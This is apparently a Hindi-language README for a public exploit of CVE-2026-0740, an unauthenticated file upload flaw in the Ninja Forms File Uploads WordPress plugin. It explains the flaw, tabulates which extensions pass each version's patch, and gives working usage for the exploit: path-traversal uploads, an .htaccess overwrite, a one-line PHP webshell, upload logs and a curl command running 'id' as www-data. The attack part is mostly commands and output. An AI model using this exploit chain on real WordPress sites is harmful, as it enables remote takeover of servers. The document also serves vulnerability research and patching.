
Ninja Forms File Uploads <= 3.3.26 - बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड से RCE (CVE-2026-0740)
CVE-2026-0740 के लिए एक्सप्लॉइट, जिसे Selim Lanouar (whattheslime) ने खोजा।
पूर्ण तकनीकी गहन विश्लेषण के लिए, Lexfo के ब्लॉग पर पूरा लेख पढ़ें।
यह रिपॉज़िटरी केवल शोध और रक्षात्मक सुरक्षा उद्देश्यों के लिए प्रदान की गई है।
लेखक इस जानकारी के दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।
वर्डप्रेस के लिए Ninja Forms - File Uploads प्लगइन, 3.3.26 तक (सहित) के सभी संस्करणों में बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड के प्रति भेद्य है, जो रिमोट कोड निष्पादन की ओर ले जाता है।
यह भेद्यता मूल रूप से संस्करण 3.3.23 पर खोजी गई और रिपोर्ट की गई। संस्करण 3.3.24 तक शोषण सीधा है (गंतव्य फ़ाइलनाम पर कोई सत्यापन नहीं)। संस्करण 3.3.25 और 3.3.26 ने क्रमिक रूप से आंशिक पैच पेश किए, लेकिन यह समस्या केवल संस्करण 3.3.27 में पूरी तरह हल हुई।
भेद्यता श्रृंखला इस प्रकार है:
field_idnf_fu_get_new_noncenf_fu_upload हैंडलर अपलोड की गई फ़ाइल के एक्सटेंशन (जैसे image.jpg) को सत्यापित करता है, लेकिन क्लाइंट को POST पैरामीटर (image_jpg) के माध्यम से गंतव्य फ़ाइलनाम को ओवरराइड करने की अनुमति देता है।move_uploaded_file() में पास किया जाता है, जिससे मनमाने एक्सटेंशन और पाथ ट्रैवर्सल (../) संभव हो जाते हैं।| वेक्टर / एक्सटेंशन | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|---|---|---|---|
पाथ ट्रैवर्सल (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |
पूर्ण एक्सटेंशन तालिका और तकनीकी गहन विश्लेषण के लिए पूरा ब्लॉग पोस्ट देखें।
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 CVE-2026-0740.py -h
python3 CVE-2026-0740.py -t http://localhost:8000 -f test.txt
फ़ाइल wp-content/uploads/ninja-forms/tmp/test.txt पर लिखी जाएगी।
python3 CVE-2026-0740.py -t http://localhost:8000 -f webshell.php -d ../../../webshell.php
फ़ाइल wp-content/webshell.php पर लिखी जाएगी।
python3 CVE-2026-0740.py -t http://localhost:8000 -f evil-htaccess -d .htaccess
# 1. Detect version
httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+' 2>/dev/null
http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]
# 2. Write webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/slime.php
# 3. Upload
python3 CVE-2026-0740.py -t http://localhost:8000 -f /tmp/slime.php -d ../ws.php
[2026-04-07] [20:20:11] [info] [http://localhost:8000] Fetch nonce for random field_id: 3711569793384815...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] Got ninja-forms-upload nonce: a320b7ed4a
[2026-04-07] [20:20:12] [info] [http://localhost:8000] Uploading slime.php as ../ws.php via POST parameter...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] File uploaded at: http://localhost:8000/wp-content/uploads/ninja-forms/ws.php
# 4. Execute commands
curl http://localhost:8000/wp-content/uploads/ninja-forms/ws.php\?cmd\=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)